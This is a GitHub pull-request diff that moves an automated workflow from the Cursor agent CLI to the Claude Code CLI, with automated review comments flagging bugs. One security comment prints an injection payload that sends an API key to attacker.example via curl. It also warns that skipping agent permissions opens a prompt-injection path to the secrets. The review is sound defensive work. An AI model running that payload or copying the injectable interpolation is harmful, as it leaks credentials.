Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
29 changes: 14 additions & 15 deletions .github/workflows/update-cli-coverage.yml
Original file line number Diff line number Diff line change
Expand Up @@ -72,17 +72,10 @@ jobs:
# For manual dispatch with a specific PR, checkout the merge commit
ref: ${{ steps.pr-info.outputs.merge_sha || github.sha }}

- name: Install Cursor CLI
- name: Install Claude Code CLI
run: |
curl https://cursor.com/install -fsS | bash
echo "$HOME/.cursor/bin" >> $GITHUB_PATH

- name: Enable Cursor Max Mode
run: |
CFG_DIR="$HOME/.cursor"
mkdir -p "$CFG_DIR"
echo '{"maxMode": true}' > "$CFG_DIR/cli-config.json"
echo "CURSOR_CONFIG_DIR=$CFG_DIR" >> "$GITHUB_ENV"
curl -fsSL https://claude.ai/install.sh | bash
echo "$HOME/.local/bin" >> $GITHUB_PATH

- name: Configure git identity
run: |
Expand Down Expand Up @@ -110,7 +103,7 @@ jobs:
if git fetch origin cli-coverage-update 2>/dev/null; then
echo "Branch cli-coverage-update exists, checking it out..."
git checkout cli-coverage-update
git merge origin/main -m "Merge main into cli-coverage-update" --no-edit || true
git merge -X theirs origin/main -m "Merge main into cli-coverage-update" --no-edit || true

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Merge theirs drops branch CLI work

Medium Severity

git merge -X theirs origin/main applies the “theirs” strategy to every conflicted file, not only go.mod/go.sum. Any merge conflict in CLI sources on cli-coverage-update is resolved to origin/main, which can discard coverage work still only on that branch, while the agent prompt still instructs preserving existing branch work and avoiding force push.

Additional Locations (1)
Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit b1f93c9. Configure here.

else
echo "Branch cli-coverage-update does not exist, will create from main"
fi
Expand Down Expand Up @@ -145,7 +138,13 @@ jobs:
id: sdk-diff
run: |
# Extract the SDK version currently used by the CLI
OLD_SDK_VERSION=$(grep 'kernel/kernel-go-sdk' /tmp/kernel-cli/go.mod | awk '{print $2}')

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Merge overwrites SDK baseline

High Severity

The git merge -X theirs origin/main step updates go.mod to origin/main's SDK version before the OLD_SDK_VERSION is read. This can cause OLD_SDK_VERSION to match the new SDK version, resulting in an empty SDK diff. Consequently, the agent misses actual SDK changes when updating CLI coverage, especially on stale branches.

Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit b1f93c9. Configure here.

# Prefer go list (parses go.mod properly); fall back to grep, taking the
# first non-conflict-marker match so a merge conflict can't yield a
# multi-line value that breaks $GITHUB_OUTPUT.
OLD_SDK_VERSION=$(cd /tmp/kernel-cli && go list -m github.com/kernel/kernel-go-sdk 2>/dev/null | awk '{print $2}')
if [ -z "$OLD_SDK_VERSION" ]; then
OLD_SDK_VERSION=$(grep 'kernel/kernel-go-sdk' /tmp/kernel-cli/go.mod | grep -v '^[<>=]' | head -1 | awk '{print $2}')
fi
echo "CLI currently uses SDK version: $OLD_SDK_VERSION"
echo "old_version=$OLD_SDK_VERSION" >> $GITHUB_OUTPUT

Expand All @@ -167,12 +166,12 @@ jobs:

- name: Update CLI coverage
env:
CURSOR_API_KEY: ${{ secrets.CURSOR_API_KEY }}
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
GH_TOKEN: ${{ steps.app-token.outputs.token }}
KERNEL_API_KEY: ${{ secrets.KERNEL_API_KEY }}
BRANCH_PREFIX: cli-coverage-update
run: |

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Command injection via ${{ }} interpolation into a run: script (yaml.github-actions.security.run-shell-injection.run-shell-injection)

Why this is a true positive

This step interpolates a free-form, caller-supplied value directly into the double-quoted shell argument of claude -p "...". The relevant sink is line 184:

- Trigger: ${{ github.event_name }} ${{ inputs.pr_number && format('(PR #{0})', inputs.pr_number) || '' }}

inputs.pr_number is a workflow_dispatch input of type: string with no validation, and ${{ }} expansion happens before bash parses the script. A dispatch value like:

1") ; curl -s https://attacker.example/?k=$ANTHROPIC_API_KEY ; echo "

closes the quoted prompt and runs arbitrary commands in the runner. The blast radius is what this step has in env:ANTHROPIC_API_KEY, KERNEL_API_KEY, and steps.app-token.outputs.token, which is an org-scoped admin GitHub App token (owner: kernel). That turns repo write/actions: write access into org-admin credential exfiltration.

The same input is injected even more directly in the earlier Get PR info for manual dispatch step (lines 37 and 39), which is outside this PR's diff but has the identical flaw and should be fixed in the same pass.

Recommended fix — pass untrusted values through env: and reference them as quoted shell variables, so they are never expanded into the script text:

      - name: Update CLI coverage
        env:
          ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
          GH_TOKEN: ${{ steps.app-token.outputs.token }}
          KERNEL_API_KEY: ${{ secrets.KERNEL_API_KEY }}
          BRANCH_PREFIX: cli-coverage-update
          PR_NUMBER: ${{ inputs.pr_number }}
          EVENT_NAME: ${{ github.event_name }}
          SDK_MODULE: ${{ steps.sdk-version.outputs.module }}
          SDK_VERSION: ${{ steps.sdk-version.outputs.version }}
        run: |
          TRIGGER="$EVENT_NAME${PR_NUMBER:+ (PR #$PR_NUMBER)}"
          claude -p "...
          - Trigger: $TRIGGER
          ..."

Validating the input at the top of the job is a cheap belt-and-braces addition:

case "$PR_NUMBER" in
  ''|*[!0-9]*) echo "pr_number must be numeric" >&2; exit 1 ;;
esac

Also worth noting while you're in here: this PR adds --dangerously-skip-permissions, and the agent reads /tmp/sdk-diff.patch and /tmp/kernel-api content into its context while holding those same secrets. That is a prompt-injection path to the same credentials, distinct from the shell-injection above and not fixed by quoting.

If you consider this an accepted risk (e.g. workflow_dispatch is restricted to trusted maintainers), suppress it explicitly rather than leaving it flagged:

  • Inline, on the flagged line:
          # nosemgrep: yaml.github-actions.security.run-shell-injection.run-shell-injection
          run: |
    (or a bare # nosemgrep to silence every rule on that line)
  • Or exclude the file entirely by adding to .semgrepignore:
    .github/workflows/update-cli-coverage.yml
    

cursor-agent -p "You are a CLI updater that implements missing CLI commands based on SDK updates.
claude -p "You are a CLI updater that implements missing CLI commands based on SDK updates.

The GitHub CLI is available as \`gh\` and authenticated via GH_TOKEN. Git is available. You have write access to the CLI repository (kernel/cli).

Expand Down Expand Up @@ -418,4 +417,4 @@ jobs:
- Streaming methods may have different CLI implementations (e.g., follow flags)
- Even if no coverage gaps are found, still create a PR for the SDK version bump
- Ensure code compiles before pushing
" --model ${{ vars.CURSOR_PREFERRED_MODEL }} --force --output-format=text
" --model ${{ vars.CLAUDE_CODE_PREFERRED_MODEL }} --dangerously-skip-permissions --output-format text --verbose
Loading